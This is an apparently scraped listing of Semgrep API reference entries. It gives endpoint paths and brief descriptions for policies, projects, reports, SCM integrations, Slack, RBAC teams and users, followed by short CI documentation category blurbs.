Source: https://docs.semgrep.dev/api-reference/v2/policiesservice/list-policies
/public_v2.openapi.yaml get /api/policies/v1/deployments/{deploymentId}
List all policies for a given deployment.
# List Policy Rules
Source: https://docs.semgrep.dev/api-reference/v2/policiesservice/list-policy-rules
/public_v2.openapi.yaml get /api/policies/v1/deployments/{deploymentId}/{policyId}/rules
List the rules for a given policy.
# Update Policy Rule
Source: https://docs.semgrep.dev/api-reference/v2/policiesservice/update-policy-rule
/public_v2.openapi.yaml put /api/policies/v1/deployments/{deploymentId}/{policyId}/rules/{rulePath}
Update a specific rule within a policy.
# Apply a detection policy
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/apply-a-detection-policy
/public_v2.openapi.yaml put /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}
Strictly applies a candidate detection policy bundle for one product: the submitted bundle replaces the current state, and exceptions absent from it are deleted. Requires the current state_version in the If-Match header; responds 428 when the header is missing and 409 with the current state_version when it is stale. The apply is atomic for the product's bundle.
# Apply remediation policies
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/apply-remediation-policies
/public_v2.openapi.yaml put /api/policies/v2/deployments/{deploymentId}/remediation-policies
Strictly applies a candidate remediation policies bundle: the submitted list replaces the current state, and policies absent from it are deleted. Requires the current state_version in the If-Match header; responds 428 when the header is missing and 409 with the current state_version when it is stale. The apply is atomic for the bundle. System-managed policies are unaffected; submitting a policy whose slug collides with one responds 409 with code RESERVED_SLUG.
# Get a detection policy
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/get-a-detection-policy
/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}
Returns the detection policy bundle for one product (`code` or `secrets`), including its exceptions, plus the state_version required to apply changes. Returns 404 with code PRODUCT_NOT_ENABLED when the requested product is not enabled for the deployment.
# Get remediation policies
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/get-remediation-policies
/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/remediation-policies
Returns the remediation policies bundle for the deployment plus the state_version required to apply changes. System-managed policies are not included.
# Get the detection policy summary
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/get-the-detection-policy-summary
/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/detection-policy
Returns the detection policy bundles and state_versions for every enabled product in one read-only call. Writes always go through the per-product endpoints.
# Get the policy vocabulary
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/get-the-policy-vocabulary
/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/vocab
Returns the condition types, action types, and value enums this API accepts, so bundles can be validated client-side (for example in CI) without a round trip. Without the product query parameter, only the product-agnostic vocabulary is returned; pass product to include its value enums and, for `code` and `secrets`, the detection bundle constraints.
# Preview a detection policy apply
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/preview-a-detection-policy-apply
/public_v2.openapi.yaml post /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}:dryRun
Validates a candidate detection policy bundle and returns the diff a strict apply would produce, without changing anything. The response includes the state_version the diff was computed against; send that exact value as If-Match on the follow-up PUT to guarantee you apply the diff you previewed.
# Preview a remediation policies apply
Source: https://docs.semgrep.dev/api-reference/v2/policiesv2service/preview-a-remediation-policies-apply
/public_v2.openapi.yaml post /api/policies/v2/deployments/{deploymentId}/remediation-policies:dryRun
Validates a candidate remediation policies bundle and returns the diff a strict apply would produce, without changing anything. The response includes the state_version the diff was computed against; send that exact value as If-Match on the follow-up PUT to guarantee you apply the diff you previewed.
# Bulk get many Projects' Managed Scan Settings
Source: https://docs.semgrep.dev/api-reference/v2/projectmanagedscansettingsservice/bulk-get-many-projects-managed-scan-settings
/public_v2.openapi.yaml post /api/sms/v2/deployments/{deploymentId}/project_settings
Finds the user-configurable managed scan settings for the specified projects. Projects without managed scanning set up will have empty values.
# Get a Project's Managed Scan Settings
Source: https://docs.semgrep.dev/api-reference/v2/projectmanagedscansettingsservice/get-a-projects-managed-scan-settings
/public_v2.openapi.yaml get /api/sms/v2/deployments/{deploymentId}/projects/{projectId}/settings
Finds the user-configurable managed scan settings for the specified project. Returns an empty result if the specified project does not have managed scanning set up.
# Add Semgrep CI Secrets to GitHub Repositories
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/add-semgrep-ci-secrets-to-github-repositories
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_secret
Generates and adds a secret for the "semgrep-ci" GitHub Action to the GitHub Repositories that are associated with any Semgrep Projects that match the given filters.
# Bulk Apply Project Update
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/bulk-apply-project-update
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos/filtered
Applies a change to many projects that match the given filters.
# Bulk Edit Projects
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/bulk-edit-projects
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos
Applies changes to multiple specified projects at once.
# Delete Project
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/delete-project
/public_v2.openapi.yaml delete /api/v2/deployments/{deploymentId}/projects/{projectId}
Delete a project by its ID. This will delete the project and all of its findings. This action cannot be reversed.
# Get All Projects IDs by Tag
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/get-all-projects-ids-by-tag
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/repos/by-tag
Gets a mapping from tag ID to related project IDs.
# Get Branch
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/get-branch
/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/projects/{projectId}/branches/{branchId}
Get a branch by its ID.
# Get Project
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/get-project
/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/projects/{projectId}
Get a project by its ID.
# Get Project Count
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/get-project-count
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/count
Get the number of projects in a deployment.
# List Projects
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/list-projects
/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/projects/list
List all projects based on provided filters.
# Patch Project
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/patch-project
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos/{idOrName}
Use a "Merge Patch" to update a project's name or SMS settings.
# Provision Semgrep CI GitHub Actions
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/provision-semgrep-ci-github-actions
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_provision
Adds a "semgrep-ci" GitHub Action to the GitHub Repositories that are associated with any Semgrep Projects that match the given filters.
# Sync All Projects to SCM
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/sync-all-projects-to-scm
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_refresh_async
Schedules a job to sync all projects in a deployment to their SCM.
# Sync Project to SCM
Source: https://docs.semgrep.dev/api-reference/v2/projectsservice/sync-project-to-scm
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/{repoId}/_sync
Schedules a job to sync a project with its SCM.
# Get Backlog by Product Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-backlog-by-product-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-product
# Get Backlog by Rule Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-backlog-by-rule-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-rule
# Get Backlog by Severity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-backlog-by-severity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-severity
# Get Findings Activity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-findings-activity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/activity
# Get Findings by Project and Product Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-findings-by-project-and-product-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/by-project/by-product
# Get Findings by Project and Severity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-findings-by-project-and-severity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/by-project/by-severity
# Get Findings Funnel Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-findings-funnel-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/funnel
# Get Guardrails Activity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-guardrails-activity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/guardrails-activity
# Get Guardrails Adoption Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-guardrails-adoption-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/guardrails-adoption
# Get Malware Firewall Blocked Malicious Dependencies by Advisory Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-advisory-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-advisory
# Get Malware Firewall Blocked Malicious Dependencies by Dependency, Version, and Ecosystem Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-dependency-version-and-ecosystem-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-dep-version-and-ecosystem
# Get Malware Firewall Blocked Malicious Dependencies by Ecosystem Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-ecosystem-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-ecosystem
# Get Malware Firewall Scan Activity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-malware-firewall-scan-activity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/scan-activity
# Get Malware Firewall Summary Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-malware-firewall-summary-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/summary
# Get Median Open Age by Product Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-median-open-age-by-product-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/median-open-age/by-product
# Get Median Open Age by Severity Report
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-median-open-age-by-severity-report
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/median-open-age/by-severity
# Get Report Findings
Source: https://docs.semgrep.dev/api-reference/v2/reportsservice/get-report-findings
/public_v2.openapi.yaml post /api/reporting/{deploymentId}/findings
# Create Review Comment Product Content
Source: https://docs.semgrep.dev/api-reference/v2/reviewcommentproductcontentservice/create-review-comment-product-content
/public_v2.openapi.yaml post /api/deployments/{deploymentId}/scm_comment_product_content
Create a new review comment product content
# Delete Review Comment Product Content
Source: https://docs.semgrep.dev/api-reference/v2/reviewcommentproductcontentservice/delete-review-comment-product-content
/public_v2.openapi.yaml delete /api/deployments/{deploymentId}/scm_comment_product_content/{reviewCommentProductContentId}
Delete a review product content by its ID.
# List Review Comment Product Content
Source: https://docs.semgrep.dev/api-reference/v2/reviewcommentproductcontentservice/list-review-comment-product-content
/public_v2.openapi.yaml get /api/deployments/{deploymentId}/scm_comment_product_content
List all review comment product contents
# Update Review Comment Product Content
Source: https://docs.semgrep.dev/api-reference/v2/reviewcommentproductcontentservice/update-review-comment-product-content
/public_v2.openapi.yaml put /api/deployments/{deploymentId}/scm_comment_product_content/{reviewCommentProductContentId}
Update an existing review comment product content
# Create ruleboard
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/create-ruleboard
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/ruleboards
Create a new ruleboard for the deployment.
# Delete ruleboard
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/delete-ruleboard
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}
Delete a ruleboard for the deployment.
# Get ruleboard
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/get-ruleboard
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}
# Get ruleboard finding counts
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/get-ruleboard-finding-counts
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/finding_counts
# Get ruleboard overview
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/get-ruleboard-overview
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/overview
# List ruleboards
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/list-ruleboards
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards
# Update ruleboard
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/update-ruleboard
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}
# Update ruleboard overview
Source: https://docs.semgrep.dev/api-reference/v2/ruleboardservice/update-ruleboard-overview
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/overview
buf:lint:ignore RPC_REQUEST_RESPONSE_UNIQUE
buf:lint:ignore RPC_RESPONSE_STANDARD_NAME
# Get Scan
Source: https://docs.semgrep.dev/api-reference/v2/scansservice/get-scan
/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/scans/{scanId}
Get a scan by ID.
# List Scans
Source: https://docs.semgrep.dev/api-reference/v2/scansservice/list-scans
/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/projects/{projectId}/scans/list
List the scans associated with a particular project from the past 30 days.
# Retry Failed SMS Scans
Source: https://docs.semgrep.dev/api-reference/v2/scansservice/retry-failed-sms-scans
/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/scans/retry
Retry one or more failed Semgrep Managed Scans (SMS). Only scans that are SMS and have failed or never finished can be retried. Send a single scan ID or multiple; returns one task per successful retry and one error per failed retry.
# Add Azure DevOps Project
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/add-azure-devops-project
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}/add_ado_project
Add a new ADO project to an existing Entra App install. The service principal must already have permissions on the ADO project
# Complete Azure DevOps SCM App install
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/complete-azure-devops-scm-app-install
/public_v2.openapi.yaml put /api/scm/ado_app_install
After the user has uploaded the certificate, verify the Service Principal can authenticate to ADO and create webhook subscriptions required for the integration. Then mark the install as ready.
# Complete SCMAppRequest
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/complete-scmapprequest
/public_v2.openapi.yaml put /api/scm/app_request_complete
Complete an SCM app request.
# Create Azure DevOps SCM App (Service Principal)
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/create-azure-devops-scm-app-service-principal
/public_v2.openapi.yaml post /api/scm/ado_app
Create an ADO ScmApp using Entra ID Service Principal credentials. Generates a key pair server-side and returns the public certificate for the customer to upload to their Entra app registration. CompleteAdoScmAppInstall must be called to finish the install after the certificate is uploaded.
# Create SCMAppRequest
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/create-scmapprequest
/public_v2.openapi.yaml post /api/scm/app_request
Create a new SCM app request.
# Delete SCMApp
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/delete-scmapp
/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}
Delete an SCM app by its ID.
# Get Public GitHub App status
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/get-public-github-app-status
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps/public_gha
Get the status of a public GitHub App.
# Get SCMApp
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/get-scmapp
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps/{requestId}
Get an SCM app by its request ID.
# List SCM Apps
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/list-scm-apps
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps
List all SCM apps for a deployment.
# Rotate SCM App Webhook Secret
Source: https://docs.semgrep.dev/api-reference/v2/scmappsservice/rotate-scm-app-webhook-secret
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}/rotate_webhook_secret
Generate a new webhook secret, update it on the SCM provider, and persist it.
# Check SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/check-scmconfig
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/configs/{configId}/check
Check the status of an SCM config.
# Create SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/create-scmconfig
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs
Create a new SCM config.
# Delete SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/delete-scmconfig
/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/configs/{configId}
Delete an SCM config by its ID.
# List SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/list-scmconfig
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/configs
List all SCM configs for a deployment.
# Patch SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/patch-scmconfig
/public_v2.openapi.yaml patch /api/scm/deployments/{deploymentId}/configs/{configId}
Update an existing SCM config.
# Search SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/search-scmconfig
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs/search
Search for SCM configs for a deployment.
# Sync SCMConfig
Source: https://docs.semgrep.dev/api-reference/v2/scmservice/sync-scmconfig
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs/{configId}/_sync
Sync an SCM config.
# List SCM Webhook Subscriptions
Source: https://docs.semgrep.dev/api-reference/v2/scmsubscriptionsservice/list-scm-webhook-subscriptions
/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/subscriptions/{configId}
List all SCM webhook subscriptions for a deployment.
# Rotate SCM Webhook Secret
Source: https://docs.semgrep.dev/api-reference/v2/scmsubscriptionsservice/rotate-scm-webhook-secret
/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/subscriptions/{configId}/rotate_secret
Generate a new webhook secret, update it on the SCM provider, and persist it.
# Subscribe to SCM Webhook
Source: https://docs.semgrep.dev/api-reference/v2/scmsubscriptionsservice/subscribe-to-scm-webhook
/public_v2.openapi.yaml put /api/scm/deployments/{deploymentId}/subscriptions/{configId}
Subscribe to SCM webhook events.
# Unsubscribe from SCM Webhook
Source: https://docs.semgrep.dev/api-reference/v2/scmsubscriptionsservice/unsubscribe-from-scm-webhook
/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/subscriptions/{configId}
Unsubscribe from SCM webhook events.
# Delete Slack Installation
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/delete-slack-installation
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/slack/installations
Deletes Slack app installation and revokes access token
# Get Slack App Installation URL
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/get-slack-app-installation-url
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/install
Generates the OAuth URL that initiates the Slack app installation flow
# Get Slack Channel Mappings
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/get-slack-channel-mappings
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/channel_mappings
Retrieves channel mappings for Slack channels
# Get Slack Installation Details
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/get-slack-installation-details
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/installations
Retrieves Slack app installation details for a deployment
# Get Slack Notification Mappings
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/get-slack-notification-mappings
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/channels
Retrieves notification mappings for Slack channels
# Handle Slack OAuth Callback
Source: https://docs.semgrep.dev/api-reference/v2/slackservice/handle-slack-oauth-callback
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/slack/oauth/callback
Processes OAuth callback, exchanges code for access token, and stores installation data
# Create Package Manager Auth Config
Source: https://docs.semgrep.dev/api-reference/v2/smspackagemanagerconfigservice/create-package-manager-auth-config
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs
Create a new package manager authentication configuration for a deployment.
# Delete Package Manager Auth Config
Source: https://docs.semgrep.dev/api-reference/v2/smspackagemanagerconfigservice/delete-package-manager-auth-config
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs/{packageManagerConfigId}
Delete a package manager authentication configuration.
# List Package Manager Auth Configs
Source: https://docs.semgrep.dev/api-reference/v2/smspackagemanagerconfigservice/list-package-manager-auth-configs
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs
Retrieve all package manager authentication configurations for a deployment.
# Update Package Manager Auth Config
Source: https://docs.semgrep.dev/api-reference/v2/smspackagemanagerconfigservice/update-package-manager-auth-config
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs/{packageManagerConfigId}
Update an existing package manager authentication configuration.
# Get SCA Resolution Configs
Source: https://docs.semgrep.dev/api-reference/v2/smsscaresolutionconfigservice/get-sca-resolution-configs
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/projects/{projectId}/resolution_configs
Retrieve custom dependency resolution configurations for a given deployment and repository.
# Generate a project's SBOM
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/generate-a-projects-sbom
/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/sbom_async
Starts a job to asynchronously generate a Software Bill of Materials (SBOM) for a given project. It does not return the SBOM itself, only schedules the job and returns a task JWT.
The [Tasks Service](#tag/TasksService) can accept the task token to get the status and result of the job.
# List dependencies
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/list-dependencies
/public_v2.openapi.yaml get /api/sca/deployments/{deploymentId}/dependencies
Returns all (or filtered) dependencies for a deployment using pagination
# List dependencies
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/list-dependencies-1
/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/dependencies
Returns all (or filtered) dependencies for a deployment using pagination
# List findings for advisory
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/list-findings-for-advisory
/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/advisories/{advisoryId}/findings
Returns a summary of findings grouped by project and branch for a specific advisory using pagination
# List lockfiles with dependencies in a given repository
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/list-lockfiles-with-dependencies-in-a-given-repository
/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/{repositoryId}/lockfiles
Returns all (or filtered) lockfiles that contain dependencies within the specified repository
# List repositories with dependencies
Source: https://docs.semgrep.dev/api-reference/v2/supplychain2service/list-repositories-with-dependencies
/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/repositories
Returns any repositories which contain dependencies that match the given filter for a deployment
# Get apisupportcases
Source: https://docs.semgrep.dev/api-reference/v2/supportservice/get-apisupportcases
/public_v2.openapi.yaml get /api/support/cases/{orgid}
# Post apisupportcases
Source: https://docs.semgrep.dev/api-reference/v2/supportservice/post-apisupportcases
/public_v2.openapi.yaml post /api/support/cases
# Get a company survey response
Source: https://docs.semgrep.dev/api-reference/v2/surveysservice/get-a-company-survey-response
/public_v2.openapi.yaml get /api/survey/name/{surveyName}
Retrieves company survey response by survey name
# Submit company survey response
Source: https://docs.semgrep.dev/api-reference/v2/surveysservice/submit-company-survey-response
/public_v2.openapi.yaml post /api/survey/submit
Responds to company survey
# Get Task Result
Source: https://docs.semgrep.dev/api-reference/v2/tasksservice/get-task-result
/public_v2.openapi.yaml get /api/tasks/v2/{taskTokenJwt}
Returns the status of a task or task group, and if completed, the result.
# Check RBAC status
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/check-rbac-status
/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/status
Indicates if deployment has Role-Based Access Control enabled
# Create a deployment RBAC team
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/create-a-deployment-rbac-team
/public_v2.openapi.yaml post /api/permissions/v2/deployments/{deploymentId}/teams
Create a new Role-Based Access Control team for a deployment
# Delete a deployment RBAC team
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/delete-a-deployment-rbac-team
/public_v2.openapi.yaml delete /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}
Delete a deployment's Role-Based Access Control team
# Get a deployment RBAC team
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/get-a-deployment-rbac-team
/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}
Get a deployment's Role-Based Access Control team
# List an RBAC team's child teams
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/list-an-rbac-teams-child-teams
/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/teams
List the child teams assigned to a Role-Based Access Control team
# List an RBAC team's repositories
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/list-an-rbac-teams-repositories
/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/repos
List the repositories assigned to a Role-Based Access Control team
# List an RBAC team's users
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/list-an-rbac-teams-users
/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/members
List the users assigned to a Role-Based Access Control team
# List deployment teams
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/list-deployment-teams
/public_v2.openapi.yaml post /api/permissions/v2/deployments/{deploymentId}/teams/list
List a deployment's Role-Based Access Control teams
# Update a deployment RBAC team
Source: https://docs.semgrep.dev/api-reference/v2/teamsservice/update-a-deployment-rbac-team
/public_v2.openapi.yaml patch /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}
Update a deployment team's name, users, and repositories
# Delete tokens
Source: https://docs.semgrep.dev/api-reference/v2/tokenservice/delete-tokens
/public_v2.openapi.yaml delete /api/tokens/v1/deployments/{deploymentId}/tokens
Delete all tokens matching the given filters
# Get User
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/get-user
/public_v2.openapi.yaml get /api/auth/users/current
Get basic information about a User, like role, email, and auth details
# Get User Settings
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/get-user-settings
/public_v2.openapi.yaml get /api/auth/users/current/settings
Get basic settings & onboarding info for a user, like contact preferences and product tour state.
# List authorized resources
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/list-authorized-resources
/public_v2.openapi.yaml get /api/auth/authorized_resources
List all orgnizations/deployments that are available to a user
# List Joinable Organizations
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/list-joinable-organizations
/public_v2.openapi.yaml get /api/auth/users/current/deployments/joinable
List all organizations/deployments that a user can join
# List User Organizations
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/list-user-organizations
/public_v2.openapi.yaml get /api/auth/users/current/deployments
List all organizations/deployments that a user is a member of
# Update User Settings
Source: https://docs.semgrep.dev/api-reference/v2/usersservice/update-user-settings
/public_v2.openapi.yaml patch /api/auth/users/current/settings
Update user settings and preferences for the current user
# Get Project Version Info
Source: https://docs.semgrep.dev/api-reference/v2/versionsservice/get-project-version-info
/public_v2.openapi.yaml get /api/agent/versions/{deploymentId}/project-info/{product}
Get Semgrep version information for recent scans
# Delete apinotificationsdeployments wiz
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/delete-apinotificationsdeployments-wiz
/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/wiz/{id}
# Get apinotificationsdeployments wiz
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/get-apinotificationsdeployments-wiz
/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/wiz
# Get apinotificationsdeployments wiz 1
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/get-apinotificationsdeployments-wiz-1
/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/wiz/{id}
# Post apinotificationsdeployments wiz
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/post-apinotificationsdeployments-wiz
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/wiz
# Post apinotificationsdeployments wizvalidate
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/post-apinotificationsdeployments-wizvalidate
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/wiz/validate
# Put apinotificationsdeployments wiz
Source: https://docs.semgrep.dev/api-reference/v2/wizcredentialservice/put-apinotificationsdeployments-wiz
/public_v2.openapi.yaml put /api/notifications/deployments/{deploymentId}/wiz/{id}
# Bitbucket PR comments
Source: https://docs.semgrep.dev/category/bitbucket-pr-comments
Enable PR comments in your Bitbucket Cloud repositories to display Semgrep findings to developers.
Enable PR comments in your Bitbucket Data Center repositories to display Semgrep findings to developers.
# CI references
Source: https://docs.semgrep.dev/category/ci-references
Configure Semgrep in CI by setting various environment variables. Enable diff-aware scanning, connect to Semgrep AppSec Platform, and more.
View sample configuration files to run Semgrep with various CI/CD providers such as GitHub, GitLab, Jenkins, Buildkite, CircleCI, and more.
Learn how Semgrep Pro tracks findings and triage states in CI pipelines.
Packages included in the latest Semgrep docker image.
# CI references
Source: https://docs.semgrep.dev/category/ci-references-1
